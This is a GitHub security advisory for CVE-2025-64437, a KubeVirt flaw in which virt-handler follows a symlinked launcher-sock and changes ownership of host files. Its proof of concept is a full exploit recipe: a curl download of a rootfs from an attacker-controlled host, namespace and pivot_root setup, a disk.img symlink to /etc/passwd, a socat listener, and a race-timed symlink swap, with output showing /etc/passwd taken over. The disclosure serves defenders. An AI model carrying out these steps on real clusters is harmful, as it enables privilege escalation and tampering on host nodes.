GitHub Advisoryadvisory · Go

GHSA-2r4r-5x78-mvqf KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes

MEDIUM Published 2025-11-06 Modified 2025-11-17 Official page ↗
Aliases
CVE-2025-64437
Ecosystem
Go
Packages
kubevirt.io/kubevirt
Severity
Moderate
CVSS vector
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:L
Weaknesses
CWE-59
Reviewed
2025-11-06

Affected packages

• Go kubevirt.io/kubevirt: < 1.5.3 → fixed in 1.5.3 • Go kubevirt.io/kubevirt: >= 1.6.0-alpha.0, < 1.6.1 → fixed in 1.6.1

Description

Summary _Short summary of the problem. Make the impact and severity as clear as possible. It is possible to trick the `virt-handler` component into changing the ownership of arbitrary files on the host node to the unprivileged user with UID `107` due to mishandling of symlinks when determining the root mount of a `virt-launcher` pod. Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ In the current implementation, the `virt-handler` does not verify whether the `launcher-sock` is a symlink or a regular file. This oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID `107` (the same user used by `virt-launcher`) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host. To successfully exploit this vulnerability, an attacker should be in control of the file system of the `virt-launcher` pod. PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._ In this demonstration, two additional vulnerabilities are combined with the primary issue to arbitrarily change the ownership of a file located on the host node: 1. A symbolic link (`launcher-sock`) is used to manipulate the interpretation of the root mount within the affected container, effectively bypassing expected isolation boundaries. 2. Another symbolic link (`disk.img`) is employed to alter the perceived location of data within a PVC, redirecting it to a file owned by root on the host filesystem. 3. As a result, the ownership of an existing host file owned by root is changed to a less privileged user with UID 107. It is assumed that an attacker has access to a `virt-launcher` pod's file system (for example, obtained using another vulnerability) and also has access to the host file system with the privileges of the `qemu` user (`UID=107`). It is also assumed that they can create unprivileged user namespaces: ```bash admin@minikube:~$ sysctl -w kernel.unprivileged_userns_clone=1 ``` The below is inspired by an article, where the attacker constructs an isolated environment solely using Linux namespaces and an augmented Alpine container root file system. ```bash Download an container file system from an attacker-controlled location qemu-compromised@minikube:~$ curl http://host.minikube.internal:13337/augmented-alpine.tar -o augmented-alpine.tar Create a directory and extract the file system in it qemu-compromised@minikube:~$ mkdir rootfs_alpine && tar -xf augmented-alpine.tar -C rootfs_alpine Create a MOUNT and remapped USER namespace environment and execute a shell process in it qemu-compromised@minikube:~$ unshare --user --map-root-user --mount sh Bind-mount the alpine rootfs, move into it and create a directory for the old rootfs. The user is root in its new USER namesapce root@minikube:~$ mount --bind rootfs_alpine rootfs_alpine && cd rootfs_alpine && mkdir hostfs_root Swap the current root of the process and store the old one within a directory root@minikube:~$ pivot_root . hostfs_root root@minikube:~$ export PATH=/bin:/usr/bin:/usr/sbin Create the directory with the same path as the PVC mounted within the `virt-launcher`. In it `virt-handler` will search for a `disk.img` file associated with a volume mount root@minikube:~$ PVC_PATH="/var/run/kubevirt-private/vmi-disks/corrupted-pvc" && \ mkdir -p "${PVC_PATH}" && \ cd "${PVC_PATH}" Create the `disk.img` symlink pointing to `/etc/passwd` of the host in the old root mount directory root@minikube:~$ ln -sf ../../../../../../../../../../../../hostfs_root/etc/passwd disk.img Create the socket wich will confuse the isolator detector and start listening on it root@minikube:~$ socat -d -d UNIX-LISTEN:/tmp/bad.sock,fork,reuseaddr - ``` After the environment is set, the `launcher-sock` in the `virt-launcher` container should be replaced with a symlink to `../../../../../../../../../proc/2245509/root/tmp/bad.sock` (2245509 is the PID of the above isolated shell process). This should be done, however, in a the right moment. For this demonstration, it was decided to trigger the bug while leveraging a race condition when creating or updating a VMI: ```go //pkg/virt-handler/vm.go func (c *VirtualMachineController) vmUpdateHelperDefault(origVMI *v1.VirtualMachineInstance, domainExists bool) error { // ... //!!! MK: the change should happen here before executing the below line !!! isolationRes, err := c.podIsolationDetector.Detect(vmi) if err != nil { return fmt.Errorf(failedDetectIsolationFmt, err) } virtLauncherRootMount, err := isolationRes.MountRoot() if err != nil { return err } // ... // initialize disks images for empty PVC hostDiskCreator := hostdisk.NewHostDiskCreator(c.recorder, lessPVCSpaceToleration, minimumPVCReserveBytes, virtLauncherRootMount) // MK: here the permissions are changed err = hostDiskCreator.Create(vmi) if err != nil { return fmt.Errorf("preparing host-disks failed: %v", err) } // ... ``` The manifest of the #acr("vmi") which is going to trigger the bug is: ```yaml The PVC will be used for the `disk.img` related bug apiVersion: v1 kind: PersistentVolumeClaim metadata: name: corrupted-pvc spec: accessModes: • ReadWriteMany resources: requests: storage: 500Mi --- apiVersion: kubevirt.io/v1 kind: VirtualMachineInstance metadata: labels: name: launcher-symlink-confusion spec: domain: devices: disks: • name: containerdisk disk: bus: virtio • name: corrupted-pvc disk: bus: virtio • name: cloudinitdisk disk: bus: virtio resources: requests: memory: 1024M terminationGracePeriodSeconds: 0 volumes: • name: containerdisk containerDisk: image: quay.io/kubevirt/cirros-container-disk-demo • name: corrupted-pvc persistentVolumeClaim: claimName: corrupted-pvc • name: cloudinitdisk cloudInitNoCloud: userDataBase64: SGkuXG4= ``` Just before the line is executed, the attacker should replace the `launcher-sock` with a symlink to the `bad.sock` controlled by the isolated process: ```bash the namespaced process controlled by the attacker has pid=2245509 qemu-compromised@minikube:~$ p=$(pgrep -af "/usr/bin/virt-launcher" | grep -v virt-launcher-monitor | awk '{print $1}') && ln -sf ../../../../../../../../../proc/2245509/root/tmp/bad.sock /proc/$p/root/var/run/kubevirt/sockets/launcher-sock ``` Upon successful exploitation, `virt-launcher` connects to the attacker controlled socket, misinterprets the root mount and changes the permissions of the host's `/etc/passwd` file: ```bash `virt-launcher` connects successfully root@minikube:~$ socat -d -d UNIX-LISTEN:/tmp/bad.sock,fork,reuseaddr - ... 2025/05/27 17:17:35 socat[2245509] N accepting connection from AF=1 "" on AF=1 "/tmp/bad.sock" 2025/05/27 17:17:35 socat[2245509] N forked off child process 2252010 2025/05/27 17:17:35 socat[2245509] N listening on AF=1 "/tmp/bad.sock" 2025/05/27 17:17:35 socat[2252010] N reading from and writing to stdio 2025/05/27 17:17:35 socat[2252010] N starting data transfer loop with FDs [6,6] and [0,1] PRI * HTTP/2.0 ``` ```bash admin@minikube:~$ ls -al /etc/passwd -rw-r--r--. 1 compromised-qemu systemd-resolve 1337 May 23 13:19 /etc/passwd admin@minikube:~$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr…

Related

Alias · CVE (1)

  • CVE-2025-64437 KubeVirt is a virtual machine management add-on for Kubernetes. vulnerability

Weakness · CWE (1)

  • CWE-59 Improper Link Resolution Before File Access weakness

References